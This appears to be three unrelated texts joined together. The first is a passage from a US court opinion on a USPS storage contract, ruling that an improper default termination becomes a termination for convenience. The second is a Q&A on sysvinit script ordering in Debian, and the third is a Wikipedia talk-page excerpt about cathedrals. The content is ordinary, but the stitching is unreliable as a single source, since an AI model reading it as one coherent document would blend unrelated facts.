Plaintiff, Dart argues that Modification No. M01 could not have exercised Item No. 02 because Item No. 02 is not identified in the contract Schedule as an “option item,” pursuant to Section H.6, Option Item (Clauses 2-17). The items identified on the Schedule page marked “Priced Option Line Items” are Item Nos. 07 to 14. Moreover, plaintiff also argues that when the defendant issued Modification No. M01, the additional space availability was exercised by the USPS only for the base contract time period ending on September 30, 1998, by the specific terms of Modification No. M01, without specifying that Modification No. M05 also was renewing or exercising the additional storage space clause for any of the two-year option periods.
In response, the USPS argues that under Item No. 01D of the contract, Dart agreed to provide the USPS with a minimum of 100,000 square feet of storage space for its equipment, which the USPS agreed to pay for whether occupied or not, and under Item No. 02, to provide the USPS with additional monthly storage estimated at 0-100,000 square feet, which the USPS only agreed to pay for as the space was occupied by USPS equipment, and which, according to the USPS, continued into the option period. The USPS also cites to contemporaneous circumstances, which it argues demonstrate that the parties considered Item No. 02 to have been extended by Modification No. M05, because, from October 1, 1998 through August 31, 1999, Dart invoiced at a rate of $.50 per square foot and the USPS paid for the guaranteed 100,000 square feet of storage space and for varying quantities above the guaranteed 100,000 square feet of storage space.
The court finds that, although not listed under the “Priced Option Line Items” section of the Schedule, but instead under the “Space” section of the contract, the plain meaning reading of the language of the words of the contract in Item No. 02 establishes this space item as making available to the USPS additional space during the base contract time period, at the option of the USPS. Furthermore, for the base contract term, by issuing Modification No. M01, pursuant to Section H.6, Option Item (Clauses 2-17), the USPS exercised the option included in Item No. 02, but specifically only for a fixed period of time, ending on September 30, 1998. Until September 30, 1998, the specified ending date identified in Modification No. M01, the court finds that Dart was required to provide the USPS with up to 100,-000 square feet of additional storage space for USPS equipment, above and beyond the 100,000 square feet of guaranteed storage space originally contracted for between the parties, for a total of up to 200,000 square feet of storage space, depending on the USPS’s monthly storage requirements. Based on the express language of Modification No. M01, however, the duration of Item No. 02 was limited from January 31, 1998 until September 30, 1998. Modification No. M05 was issued on September 25, 1998, “to exercise the first two-year renewal option” for the period October 1, 1998 through September 30, 2000, and made no mention of additional storage space beyond the date of the basic contract term. Dart, therefore, is correct that Modification No. M05 only exercised the first two-year renewal option during the basic contract term, and did not specify that the additional storage space clause was renewed by Modification No. 05 for years 3-4 because the exercise by the USPS of the additional storage space availability had expired by the terms of Modification No. M01 on September 30, 1998. Although the USPS could have exercised the additional storage space option in Modification No. M05, or subsequently, by executing Item No. 08, the USPS did not do so prior to terminating the contract. Because Modification No. M01 had a specific end date, September 30, 1998, for the additional storage space availability, Dart was not required to provide the USPS with up to 200,000 square feet of storage space during the two-year option renewal period.
The court also rejects the contemporaneous circumstances argument offered by the USPS. Although Dart did invoice, and the USPS did pay for, the guaranteed space and varying quantities of additional monthly space beyond September 30, 1998, Dart was not contractually required to provide the additional storage space under the terms of the contract. The fact that the USPS utilized and paid for additional space during this time does not change the words of the contract or alter the contractual responsibilities of the parties. The language in Modification No. M05 is clear: “This modification is issued to exercise the first two-year renewal option. Period covered: 10-01-98 — 09-30-2000.” Modification No. M05 also provided: “Except as provided herein, all terms and conditions of the document referenced in Block 1 [Contract No. 266351-96-B-1696], as heretofore changed, remain unchanged and in full force and effect.” The changes included in Modification No. M05 are the addition of the Termination on Notice clause and Wage Determination Charts. Modification No. M05 is silent regarding space requirements. The USPS could have opted for a storage space modification above 100,000 square feet when it exercised the first two-year option under Modification No. M05, but did not do so. Item No. 08 in the original contract specifically provided the USPS an opportunity to exercise an additional 100,000 square feet of storage space in years 3-4, but the USPS did not act to secure the additional storage space in Modification No. M05. As a result, the court concludes that the termination for default by the USPS was improper. Termination on Notice
Having concluded that the contract at issue is clear and unambiguous, and did not require Dart to provide the USPS with up to 200,000 square feet of storage space at Trade Center III, beyond September 30, 1998, the court finds that the USPS had improperly terminated the contract with Dart for default. The Termination for Default clause in the contract provides that: “If, after termination, it is determined that the contractor was not in default ... the rights and obligations of the parties will be the same as if the termination had been issued for convenience.” (Emphasis added.) Therefore, the improper default termination is converted to a termination for the convenience of the Postal Service by the explicit language in the Termination for Default clause. See, generally, Murdock Mach. & Eng’g Co. v. United States, 873 F.2d 1410, 1413 (Fed.Cir.1989); Schlesinger v. United States, 182 Ct.Cl. 571, 580-81 n. 5, 584-85, 390 F.2d 702, 707 n. 5, 710-11 (1968); SIPCO Servs. & Marine Inc. v. United States, 41 Fed.Cl. 196, 226 (1998).
The Termination for Convenience clause in the contract provides that: “performance under this contract may be terminated by the Postal Service in whole or in part whenever the contracting officer determines that termination is in the interest of the Postal Service.” Defendant argues that this contract right on the part of the Postal Service to terminate a contract for its convenience is unaffected by the presence of a separate Termination on Notice clause, which provides in the case at issue that the contract may be terminated by either party upon 180 days advance written notice. Plaintiff, however, argues that the 180 days Termination on Notice requirement in the contract before the court modifies the Termination for Convenience clause in the contract. Plaintiff contends that the Termination on Notice clause should modify the Termination for Convenience clause because the purpose behind 180 days of notice in the Termination on Notice clause is “to allow each party sufficient advance notice of the termination of the Contract in order to make alternative arrangements and thereby minimize the economic harm caused by such a termination.”
The complete Termination on Notice clause, which was added to the contract at issue in Modification No. 5, states:
This contract may be terminated in whole or in part by either the Postal Service contracting officer or the contractor upon 180 days written notice. In the event of such termination, neither party will be liable for any costs, except for payment in accordance with the payment provisions of the contract for the actual services rendered prior to the effective date of the termination.
Therefore, the issue in a case such as the one before the court, in which an improper termination for default automatically converts to a termination for convenience, is whether the language of the Termination for Convenience clause, permitting termination on no notice, and a Termination on Notice clause, permitting termination only upon a specified number of days advance notice, can be reconciled in the same contract. As discussed above:
provisions of a contract must be so construed as to effectuate its spirit and purpose, that it must be considered as a whole and interpreted so as to harmonize and give meaning to all of its provisions, and that an interpretation which gives a reasonable meaning to all parts will be preferred to one which leaves a portion of it useless, inexplicable, inoperative, void, insignificant, meaningless, superfluous, or achieves a weird and whimsical result.
Arizona v. United States, 216 Ct.Cl. at 236, 575 F.2d at 863; see also Lockheed Martin IR Imaging Sys., Inc. v. West, 108 F.3d at 322.
From the published case law, it appears that the Postal Service utilizes a variety of termination clauses in its contracts which the Postal Service Board of Contract Appeals (PSBCA) has applied to the facts of the cases under review with varying results. For example, in the ease of Tom Kime, the USPS did not use standard Termination for Convenience and Termination for Default clauses, but issued a contract with “two alternative termination notices. The first was a thirty-day notice, similar to a termination for convenience. The other was a one-day notice, in effect a termination for default.” Tom Kime, PSBCA 3480, 95-1 BCA 1127,490, at 136,981. The one-day default termination was upheld by the PSBCA, which wrote: “We have held that a termination provision similar to the present one gives the Contracting Officer great latitude and discretion and the election to terminate will be upheld unless it was exercised in bad faith or constitutes an abuse of discretion.” Id. (citations omitted). In Jaehee Yoshimoto, PSBCA 2315, 2749, 92-1 BCA 1124,504, at 122,314, a similar termination clause was reviewed, with an improper one-day termination converted to a sixty-day termination based on abuse of discretion and arbitrary action. In On Time Postal Services, Inc., the PSBCA agreed with the Respondent’s position that: “Appellant’s [contractor’s] remedy lies in the Termination clause and is limited by that clause to the payment for 60 days of service which Appellant would have received had a termination ‘for convenience’ — i.e., other than for default — been accomplished under that clause.” On Time Postal Servs., Inc., PSBCA 2528, 90-2 BCA 1122,698, at 113,995. In Cotco Leasing Company, the contract provided for 60 days advance written notice of cancellation of the contract and in the event of cancellation the monies owed would be for the actual use of affected vehicles under the contract. The PSBCA noted that: “While the standard ‘Termination for Convenience’ clause is not contained in this contract, we believe the contractual right to cancel with 60-days notice is, in principle, a right which operates to the same effect.” Cotco Leasing Co., PSBCA 586, 81-1 BCA 1114,821, at 73,156.
The contract at issue in this case between Dart and the USPS contained both the standard Termination for Convenience clause and a Termination on Notice clause. The standard Termination for Convenience clause was required by the USPS Procurement Manual, which required inclusion of “the following clauses in all fixed-price contracts not awarded using simplified procedures: (1) Clause B-ll, Termination for Convenience (2) Clause B-13, Termination for Default [.]” USPS Procurement Manual, Publication 41, TL-8, paragraph B.2.1.b., July 12, 1995, incorporated by reference in USPS regulations at 39 C.F.R. § 601.100 (1996) (emphasis in original). The contract at issue was a firm fixed price contract and Clauses B-ll and B-13 were contained in the contract.
The USPS Procurement Manual states that a contracting officer may effect a termination on notice when the contract allows for such a type of termination. USPS Procurement Manual, Publication 41, TL-8, paragraph 6.9.1.d.2(a), July 12, 1995. The USPS Procurement Manual does not appear to address when a Termination on Notice clause should be used in a contract, however, the successor manual to the USPS Procurement Manual, the later 1997 USPS Purchasing Manual, provides some guidance on the use of a Termination on Notice clause for contracts subject to the 1997 USPS Purchasing Manual:
General. Termination on notice is the exercise of a right to terminate a contract without further obligation. Such a right is frequently provided in certain structured contracts (see 4.6.8), particularly those requiring the performance of services or those of indefinite length. If appropriate to the particular purchase, contracting officers, with the assistance of assigned counsel, may draft and include contract clauses which provide only the Postal Service or both parties the right to terminate on notice. The clause should provide that the notice to terminate will be provided to the other party a certain number of days before the termination will occur.
USPS Purchasing Manual, Issue 1, paragraph 6.9.4.a, January 31,1997.
The plaintiff draws the court’s attention to a provision in the later 1997 USPS Purchasing Manual, not included in the earlier USPS Procurement Manual, which provides that:
If a contract containing a termination on notice clause also contains a clause allowing for termination for default or for cause which calls for less notice than that required by the termination on notice clause, and it is subsequently established that the termination for default or cause was improper, the supplier’s damages [sic] entitled will be limited to the additional amount to which the supplier would have been entitled had the termination for default or cause been a termination on notice.
USPS Purchasing Manual, Issue 1, paragraph 6.9.4.C., January 31, 1997. Defendant, in response, argues that the 1997 version of the USPS Purchasing Manual cited by plaintiff was not in effect in September, 1996 when the contract at issue in this case was executed. At the time of contract formation, the earlier USPS Procurement Manual, Publication 41, TL-8, July 12,1995, was in effect, incorporated by reference in USPS regulations at 39 C.F.R. § 601.100 (1996). See Abcon Assocs., Inc. v. United States, 44 Fed.Cl. 625, 631 and 631 n. 5 (1999). The solicitation utilized in this case specifically references the earlier USPS Procurement Manual.
Modification No. M05, which added the Termination on Notice clause to the contract, is dated September 28, 1998. The USPS Purchasing Manual, Issue 1, is dated January 31, 1997. Since issuance of the later USPS Purchasing Manual predated Modification No. M05, the question is which USPS manual was effective when Modification No. M05 was executed. As to the effective date of the USPS Purchasing Manual, in spite of its date (January 31, 1997) the following instruction accompanied Issue 1 of the USPS Purchasing Manual:
The PM [Purchasing Manual] is being issued on January 31, 1997. Pending the revision and updating of purchasing support systems for consistency with this manual, purchasing organizations may adopt the policies and procedures contained herein immediately, or may follow the policies and procedures contained in the last edition of the Publication 41, Procurement Manual (Transmittal Letter 8, July 12, 1995). The Vice President, Purchasing and Materials, will announce the end of this transition period by notice in the Postal Bulletin.
USPS Purchasing Manual, Issue 1, paragraph F, January 31, 1997. The guidance in the 1997 Purchasing Manual continues, that once a purchasing organization adopts the USPS Purchasing Manual, it must use it consistently for a category of purchases, and previous contract provisions and clauses used in a purchase should not be mixed with the policies and procedures of the USPS Purchasing Manual. The end of the 1997 USPS Purchasing Manual transition period was announced as January 27, 2000. At that point, all Postal Service purchasing organizations were required to use the 1997 USPS Purchasing Manual. Postal Bulletin, 22016, January 27,2000.
There is no indication in the record that the USPS Purchasing Manual was made applicable to Modification No. M05. To the contrary, Modification No. M05 itself states that: “Except as provided herein, all terms and conditions of the document referenced in Block 1 [the contract], as heretofore changed, remain unchanged and in full force and effect.” The court, therefore, concludes that the originally applicable USPS Procurement Manual remained applicable when the Termination on Notice clause was added to the contract by Modification No. M05.
The earlier USPS Procurement Manual in effect in 1996 did not contain the damages limiting language quoted above from paragraph 6.9.4.C in the successor 1997 USPS Purchasing Manual, nor did it contain a separate section on Termination on Notice, as does the 1997 USPS Purchasing Manual. A contractor’s damages under an improper default termination, at the relevant time, therefore, were not limited by the language in the later 1997 USPS Purchasing Manual. For purposes of the present case, therefore, the earlier, applicable USPS Procurement Manual does not require that a termination claim be limited by the amount of damages calculated pursuant to a notice provision of a Termination on Notice clause.
In support of its argument that the Termination on Notice clause modified the notice requirement of the Termination for Convenience clause, thereby requiring the USPS to provide 180 days notice or pay damages based on 180 days notice, plaintiff contends that any other interpretation of the two clauses would render the Termination on Notice clause meaningless, and would permit the USPS to avoid the requirement to give 180 days advance notice, simply by invoking the Termination for Convenience clause. Plaintiffs reasoning, however, cuts both ways. An across the board, 180 days notice requirement, as urged by the plaintiff, would subordinate the Postal Service’s traditional right in a proper case to terminate for its convenience on no notice pursuant to the Termination for Convenience clause. Plaintiffs interpretation effectively renders the no notice provision of the well established right to insert a standard Termination for Convenience clause into a public contract meaningless. Moreover, in the instant case, the USPS did not invoke the Termination for Convenience clause. The USPS improperly defaulted the contractor, which converted the termination for default into a termination for convenience of the USPS. As noted earlier, an interpretation which harmonizes and gives meaning to all parts of a contract is favored. Arizona v. United States, 216 Ct.Cl. at 236, 575 F.2d at 863. The clauses themselves, and the earlier USPS Procurement Manual applicable to the provisions of this contract, indicate that the Termination for Convenience and the Termination on Notice clauses have different purposes and can be read without rendering one of the clauses meaningless or finding that the Termination on Notice clause modifies the Termination for Convenience clause in the contract. In a contract such as the one before the court, contract termination may be accomplished under the Termination for Convenience, the Termination on Notice or the Termination for Default clauses.
Modification No. M05 was a bilateral modification to the contract, containing the signatures of both the contractor and the USPS. When Modification No. M05 added the Termination on Notice clause to the renewal contract, Modification No. M05 provided that “all terms and conditions” of the contract, “remain unchanged and in full force and effect.” There is no language in Modification No. 5 indicating that the Termination for Convenience clause is modified by the addition of the Termination on Notice clause.
The earlier, applicable USPS Procurement Manual, however, provides guidance on the issue of reconciliation between the Termination for Convenience and Termination on Notice clauses. The earlier USPS Procurement Manual, in its section on Contract Termination, at paragraph 6.9.1.a.l., states that; “This section applies to contracts that contain clauses permitting termination for the convenience of the Postal Service or for contractor default, and to those contracts with clauses that provide for termination on notice.” The Procurement Manual continues, at paragraphs 6.9.1.d.l. and 2., that: “1. Contracts may be terminated — whether for default, convenience, or upon notice — only when such action is in the interest of the Postal Service. 2. The contracting officer may effect a termination on notice ... in lieu of issuing another form of termination, upon determination that: (a) ... the contract allows termination on notice.” Finally, paragraph 6.9.1.e.l.(c)(l) provides that the termination notice must state: “The type of termination contemplated and the contract clause authorizing the termination ____” USPS Procurement Manual, Publication 41, TL-8, July 12, 1995, incorporated by reference in 39 C.F.R. § 601.100 (1996) (emphasis added).
The earlier USPS Procurement Manual applicable to this contract does not indicate that the notice provided by the Termination on Notice clause modifies the Termination for Convenience clause, but instead states only that contracts may be terminated “for default, convenience, or upon notice,” indicating three different ways to terminate a contract. USPS Procurement Manual, Publication 41, TL-8, paragraph 6.9.1.d.l., July 12, 1995. Furthermore, the earlier USPS Procurement Manual provided that the contracting officer is not required to use a Termination on Notice clause, but may implement the clause, rather than using another termination mechanism, so long as the clause is included in the contract. USPS Procurement Manual, Publication 41, TL-8, paragraph 6.9.1.d.2., July 12, 1995. This language treats a Termination on Notice as an additional tool of the parties, and “only when such action is in the interest of the Postal Service,” rather than a mandatory limitation on damages under the Termination for Convenience clause, or as a means of effectively rendering meaningless the notice provision of the Termination for Convenience clause.
Supporting an interpretation that the Termination for Convenience and Termination on Notice clauses are different and independent ways to terminate a contract, the two clauses have different purposes and provide different rights and obligations. For exam-pie, a contractor has no authority to terminate the contract for its convenience, but can invoke the Termination on Notice clause in the contract. Under the language of the Termination for Convenience clause, a contractor settles pending matters stemming from the potentially sudden termination of its contract when longer notice, such as a 180 days notice, is not given, and submits a termination claim for its contract close out costs. In contrast, the Termination on Notice clause provides that the Postal Service will not be liable for Termination for Convenience-type costs, except for actual services rendered prior to the effective date of the termination. When the Postal Service, or the contractor, desires a longer period before termination, and either party invokes the Termination on Notice clause, the longer, 180 days notice provides time for the other party to make alternative arrangements, and the Postal Service only pays for the storage space actually used during the notice period, not for any other close out costs. In sum, the two clauses provide independent ways to terminate the contract, a conclusion derived both from a reading of the two clauses and a reading of the USPS Procurement Manual. Understanding the different purposes, rights and obligations established by the two clauses gives life to both clauses, rather than resulting in rendering one clause meaningless.
In Commercial Drapery Contractors, Inc. v. United States, a Multiple Award Schedule contract between the plaintiff and the General Services Administration (GSA) was terminated by GSA. Commercial Drapery Contractors, Inc. v. United States, 133 F.3d 1, 3 (D.C.Cir.1998). The contract contained a Termination on Notice-type clause which stated: “Resultant contracts may be canceled in whole or part by either party upon 30 calendar days written notice.” Id. at 5. The contract also contained a standard Termination for Convenience clause. The plaintiff in Commercial Drapery argued that the Termination on Notice-type clause was inconsistent with the Termination for Convenience clause. Id. at 6. The court, however, read the two termination clauses in that case as not in conflict: “[T]he thirty-day notice of cancellation provision permits either party to cancel an entire multiple award schedule contract with the requisite notice, while the ‘termination for convenience’ provision included in most federal contracts permits either party to cancel individual orders.” Id.
Reinforcing a difference between termination clauses, the Postal Service Board of Contract Appeals in Interstate United Corporation considered the contractor’s request for start-up costs. The PSBCA noted that the thirty day termination clause in the contract was a Termination on Notice-type clause, and “not the standard ‘Termination for Convenience’ clause found in most government contracts.” Interstate United Corp., PSBCA 966, 82-1 BCA H 15,758, reconsideration denied, at 77,984. The PSBCA observed that the contractor had cited a number of cases in which start-up costs were awarded. “However, those cases arose under contracts which contained the standard ‘Termination for Convenience’ clause which specifically provides for recovery of such costs. Thus, Appellant’s [contractor’s] arguments are without merit because the clause in the contract in question is substantially different.” Id.
The Armed Services Board of Contract Appeals, in Jarke Corporation, also noted a significant difference between a Termination on Notice-type clause and the standard Termination for Convenience clause:
The contract involved in this appeal contained not termination for convenience clause. Nor was one required. Under the Teimination by Notice provision in the contract either party could terminate the contract upon 30 days notice to the other. This was a much broader clause than the usual termination clauses in Government contracts and afforded appellant [contractor] an opportunity not generally available to a contractor.
Jarke Corp., ASBCA 43509, 93-2 BCA If 25,-866, at 128,696 (citation omitted). See also Guard-All of America, ASBCA 22167, 80-2 BCA 114,462, at 71,298-71,302 (finding significant differences in a comparison of a Termination on Notice-type clause with a standard Termination for Convenience clause which the Board read into the contract); Thomas J. Conlon, ASBCA 44588, 93-3 BCA 1126,127, at 129,877,129,879 (reading two termination clauses so both could be meaningful, finding one clause requiring at least fifteen days notice before termination not to be in conflict with another termination clause providing for not less than thirty days as not inconsistent and requiring a minimum of thirty days advance notice of termination).
The concept that a government agency may terminate a contract for its convenience is one dating from the nineteenth century. See Torncello v. United States, 231 Ct.Cl. 20, 33, 681 F.2d 756, 764 (1982) (citing United States v. Corliss Steam-Engine Co., 91 U.S. 321, 23 L.Ed. 397 (1875)). Over fifty years ago, the 1950 edition of the Armed Services Procurement Regulation (ASPR) made use of the Termination for Convenience clause mandatory in defense contracts over $1,000.00. John Cibinic, Jr. & Ralph C. Nash, Jr., Administration of Government Contracts 1074 (3d ed.1995). The Federal Procurement Regulation (FPR) followed suit, providing for a mandatory Termination for Convenience clause for contracts over certain dollar thresholds in 1967. Id. Similarly, the USPS Procurement Manual, applicable to the contract in this case, provides for mandatory use of the standard Termination for Convenience clause in all fixed priced contracts not awarded using simplified contracting procedures. USPS Procurement Manual, Publication 41, TL-8, paragraph B.2.1(b)(l), July 12, 1995.
In G.L. Christian and Associates v. United States, an Army Corps of Engineers contract omitted the standard Termination for Convenience clause, even though the ASPR required the Termination for Convenience clause in all fixed price construction contracts of more than $1,000.00. G.L. Christian and Assocs. v. United States, 160 Ct.Cl. 1, 11-12, 312 F.2d 418, 424, cert. denied, 375 U.S. 954, 84 S.Ct. 444, 11 L.Ed.2d 314 (1963), reg’h denied, 376 U.S. 929, 84 S.Ct. 657, 11 L.Ed.2d 627, 377 U.S. 1010, 84 S.Ct. 1906, 12 L.Ed.2d 1059 (1964). The United States Court of Claims held:
We are not, and should not be, slow to find the standard termination article incorporated, as a matter of law, into plaintiffs contract if the Regulations can fairly be read as permitting that interpretation. The termination clause limits profit to work actually done, and prohibits the recovery of anticipated but unearned profits. That limitation is a deeply ingrained strand of public procurement policy. Regularly since World War I, it has been a major government principle, in times of stress or increased military procurement, to provide for the cancellation of defense contracts when they are no longer needed, as well as for the reimbursement of costs actually incurred before cancellation, plus a reasonable profit on that work — but not to allow anticipated profits.
G.L. Christian and Assocs. v. United States, 160 Ct.Cl. at 15, 312 F.2d at 426. The Court of Claims noted that the Termination for Convenience clause had not been applied by the parties or the court, and “it may be impossible or overly difficult at this stage to comply precisely with all the terms of the article or fully to accord with the general practice which has grown up under it.” Id., 160 Ct.Cl. at 17, 312 F.2d at 427. Nevertheless, the court instructed the parties to apply the Termination for Convenience clause to the claims in G.L. Christian as nearly as it could be reasonably applied. Id. A clause with such ancient lineage, reflecting deeply ingrained public procurement policy, and applied to contracts with the force and effect of law even when omitted, should not be materially modified or summarily rendered meaningless without good cause, which plaintiff has not supplied.
Under the facts and circumstances of the case brought by Dart, the USPS did not invoke the Termination on Notice clause. The Postal Service attempted to invoke the Termination for Default clause, however, the improper default termination was converted into a termination for the convenience of the Postal Service, by operation of the explicit language of the Termination for Default clause in the contract. The improper default termination was not converted to an action pursuant to the Termination on Notice clause, nor did the Termination on Notice clause modify the Termination for Convenience clause in the contract.
CONCLUSION
In sum, the Postal Service did not terminate the contract under the Termination on Notice clause. Instead, the Postal Service attempted to terminate the contract under the Termination for Default clause. Because the termination for default has been found by the court to be improper, the termination is converted, not into one upon notice, but into a termination for the convenience of the Postal Service by the language of the Termination for Default clause. The Termination for Default and Termination for Convenience clauses in the contract at issue are mandatory clauses, required to be in the contract by the applicable USPS Procurement Manual. The explicit language of the required Termination for Default clause provides that, in the event of an improper default, the termination by the Postal Service shall be treated “as if the termination had been issued for convenience.” The Termination for Default clause did not say that the termination shall be converted to a termination on notice. The USPS Procurement Manual states that contracts may be terminated “for default, convenience, or upon notice.” The Termination for Default clause explicitly addresses a termination for default and one for convenience, but does not mention a termination on notice. USPS Procurement Manual, Publication 41, TL-8, paragraph 6.9.1.d.l, July 12,1995.
Modification No. M05 added the Termination on Notice clause to the contract, but the modification did not provide that the 180 days notice contained in that clause would modify the Termination for Convenience clause. Modification No. M05 provided instead, that all terms and conditions of the contract, including the Termination for Default clause and the Termination for Convenience clause of the contract, discussed above, “remain unchanged and in full force and effect.” The rules of contract interpretation generally provide that provisions of a contract shall be given an interpretation so as to harmonize and give meaning to all provisions, that one provision will not be interpreted to render another meaningless. With this contract interpretation rule in mind, an examination of the two clauses indicates that the Termination for Convenience clause and the Termination on Notice clause, the latter added to the contract by Modification No. M05, are different, and can be read in such a way that both clauses have meaning in differing situations. The court finds that the provisions of the Termination for Convenience clause are not modified by the Termination on Notice clause. Damages, if any, shall be determined under the Termination for Convenience clause in the contract.
For the foregoing reasons, plaintiffs motion for partial summary judgment is partially GRANTED and defendant’s motion for summary judgment in support of its default termination is DENIED. The termination for default by the USPS was improper, and is converted into a termination for the convenience of the Postal Service.
Furthermore, plaintiffs motion for partial summary judgment, in support of its position that the Termination for Convenience clause is modified by the Termination on Notice clause, and that the defendant was obligated to give the plaintiff 180 days written notice of termination, is DENIED, and the defendant’s motion for partial summary judgment on the issue is GRANTED.
IT IS SO ORDERED.
. An option provision in a government contract generally obligates the contractor to perform the additional contract work if the government chooses to exercise the option, but does not create a legal obligation on the part of the government to exercise the option and require the work. See Gov’t Sys. Advisors, Inc. v. United States, 847 F.2d at 813.
. Section H.6, Option Item (Clauses 2-17) was amended on June 21, 1996 to delete the words in the first sentence "increase the quantity of supplies called for in the contract by” and to change the word “requiring” to “require.”
. The general ceiling for simplified procedures was $100,000.00, according to the 1995 USPS Procurement Manual. USPS Procurement Manual, Publication 41, TL-8, paragraph 4.3.l.b., July 12, 1995. In 1996, the contract price for the contract at issue initially was over one million dollars.
. Postal Service regulations at 39 C.F.R. § 601.100 (2001) still incorporate by reference the USPS Procurement Manual, Publication 41. Apparently, the Code of Federal Regulations has not been updated to incorporate by reference the 1997 USPS Purchasing Manual.
. For discussion of the limitations on the ability to terminate a contract under the Termination for Convenience clause, although not applicable in the present case, see Krygoski Constr. Co. v. United States, 94 F.3d 1537, 1545 (Fed.Cir.1996), cert. denied, 520 U.S. 1210, 117 S.Ct. 1691, 137 L.Ed.2d 819 (1997); Salsbury Indus. v. United States, 905 F.2d 1518, 1521-22 (Fed.Cir.1990), cert. denied, 498 U.S. 1024, 111 S.Ct. 671, 112 L.Ed.2d 664 (1991); Torncello v. United States, 231 Ct.Cl. 20, 47-49, 681 F.2d 756, 772 (1982). Plaintiff has not contested the applicability of the Termination for Convenience clause, only whether its notice provisions have been modified by the Termination on Notice clause.
. The 1997 USPS Purchasing Manual cited by plaintiff was not in effect at the time the original contract in question was formed although it had been issued at the time Modification No. M05 was signed. As noted above, the 1997 USPS Purchasing Manual is the successor manual to the earlier USPS Procurement Manual. The general principles quoted above from the earlier USPS Procurement Manual are repeated, in similar language, in the USPS Purchasing Manual. See USPS Purchasing Manual, Issue 1, paragraphs 6.9.1.a.l., 6.9.I.C.I., 6.9.1.c.2.(a), and 6.9.l.d.l.(c)(l), January 31, 1997. The provision which limits damages to Termination on Notice damages in the event of an improper default is part of a new Termination on Notice section in the Contract Termination section of the later 1997 USPS Purchasing Manual and was not included in the earlier USPS Procurement Manual.
. The Termination for Convenience clause provides for a termination claim to be submitted to the contracting officer to ameliorate possible economic harm stemming from a potentially sudden termination for the convenience of the Postal Service. If under the Termination for Convenience clause, the parties fail to agree on the amount to be paid to a contractor by reason of the termination, the Termination for Convenience clause provides that the contractor has a right of review of its termination costs under the Claims and Disputes clause, which was incorporated by reference in the contract at issue in this case. Allowable termination costs, including costs such as those continuing after termination, rental costs under unexpired leases and settlement expenses, are discussed in the USPS Procurement Manual applicable to the contract at issue. See USPS Procurement Manual, Publication 41, TL-8, paragraph 5.2.6, July 12, 1995; see also White Buffalo Constr., Inc. v. United States, 52 Fed.Cl. 1, 4-19 (2002) (discussing termination costs under the Federal Acquisition Regulation (FAR)); Nationwide Roofing & Sheet Metal Co. v. United States, 14 Cl.Ct. 733, 737, 1988 WL 45950 (1988) (also discussing termination costs under the FAR); Alta Constr. Co., PSBCA 1463, 2920, 96-1 BCA V 27,961, at 139,-666-139,669 (discussing termination costs in a Postal Service contract, in which a termination for default was converted to a termination for convenience).
| CASELAW |
14
I want to run one sysvinit script before another and figured out how to do that.
To make sure, this actually happens in the the order I like, I would like to see a list, in which order that happens.
I found sudo insserv --showall already, but can't make head or tail of it, since it lists init scripts multiple times.
How to find out in which order /etc/init.d scripts are load on Debian?
11
There's some files in /etc/init.d/ directory:
$ ls -al /etc/init.d/ | grep -i depend
-rw-r--r-- 1 root root 2739 Feb 17 05:20 .depend.boot
-rw-r--r-- 1 root root 2221 Feb 17 05:20 .depend.start
-rw-r--r-- 1 root root 1855 Feb 17 05:20 .depend.stop
Whenever you run update-rc.d the files will change. .depend.boot file is for S level, .depend.start is for 2 3 4 5 levels and .depend.stop for 0 1 6.
In my case, I have the following order in .depend.start:
TARGETS = killprocs motd nvidia-kernel nfs-common rsyslog privoxy virtualbox
linuxlogo acpi-fakekey binfmt-support fancontrol openvpn hddtemp cgconfig
dropbox-container dbus dnscrypt-proxy pulseaudio atd cryptmount exim4
qbittorrent-nox ddclient acpi-support smartmontools ssh ntp loadcpufreq acpid
cron rsync cgrulesengd cpufrequtils bootlogs bootchart-done single rmnologin
rc.local stop-bootlogd
You can also see why the order presents in the way you see above. Each next line looks like this:
cgrulesengd: rsyslog cgconfig
which means that cgrulesengd needs rsyslog cgconfig to be started prior.
5
For every runlevel (0 6) there is an folder /etc/rc[N].d
In every directory there are symbolic link either starts with an "S" or with a “K”. "S" to start e "K" to stop. The scripts are executed in a lexical sort manner of the filename, in other words S10script will be executed first than S20myscript. For example :
we have two simple scripts, the second.sh script must be execute after the fist.sh script in the current runlevel.
root@localhost init.d]# cat /etc/init.d/first.sh
#!/bin/bash
#
echo 'I am the first' >> /var/log/messages
root@localhost init.d]# cat /etc/init.d/second.sh
#!/bin/bash
#
echo 'I am the second' >> /var/log/messages
What is my current level?
[root@localhost init.d]# runlevel
N 5
Now we need a symbolic link starting namely S(N)myScript for the first and S(N+1)mysecondScript:
root@localhost rc5.d]# ln -s /etc/init.d/first.sh /etc/rc5.d/S1first
root@localhost rc5.d]# ln -s /etc/init.d/second.sh /etc/rc5.d/S2second
We can reboot and check the messages log:
[root@localhost ~]# cat /var/log/messages | grep "I am" -A 1 -B 1
Dec 13 13:53:36 localhost rpc.statd[3468]: Version 1.0.9 Starting
I am the first
Dec 13 13:53:37 localhost hcid[3532]: Bluetooth HCI daemon
--
Dec 13 13:53:40 localhost automount[3689]: lookup_read_master: lookup(nisplus): couldn't locate nis+ table auto.master
I am the second
Dec 13 13:53:41 localhost gpm[3785]: *** info [startup.c(95)]:
Tested on old Centos5
• I recommend using /usr/bin/logger to append to the system log instead of redirection, so you don't accidentally write ">" by accident one day and wipe out your logs. – DanB Jul 4 '18 at 13:24
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Talk:Cathedral
Meath, Ireland
Traces of the tribal and migratory system may still be noted in the designations of the Irish see of Meath (where the result has been that there is now no cathedral church)
Above line is disputed (but I have left it in the text for now!). Which See of Meath is it talking about? Roman Catholic or Church of Ireland? (The Ecclesiastical Titles Act meant that Roman Catholicism and the Church of England use different names for their seas. In Ireland most use the same or similar names.
The Roman Catholic diocese does have a cathedral. It used to be St. Mary's Church in Navan, Co. Meath. In the early twentieth century, it was moved to a new location, and is now The Cathedral of Christ the King in Mullingar. Unfortunately I don't know any details about the Church of Ireland diocese, other than (a) the Bishops used to live in Ardbraccan, outside Navan but now live in County Kildare; (b) the diocese is now known as the Diocese of Meath and Kildare. So even if Meath itself doesn't have a Church of Ireland cathedral (though centuries ago, there used to be a cathedral in Trim, Co. Meath, which may be pre-reformation - I'll have to check Dean Cogan's History of the RC diocese of Meath), Kildare might have one. Anyone out there know the answer. (In any case I'll check with the C of I if I get the chance. If they do have a diocesian cathedral, I'll axe this line. In the meantime, I am putting a strike through. JtdIrL 04:00 Mar 8, 2003 (UTC)
opening
> A Cathedral is a (frequently but not always large) Christian church, the central church of a bishopric.
That sounds pretty clumsy. What about moving the large bit to the end -- although I can't offhand think of a graceful phrasing. The best I can do offhand is:
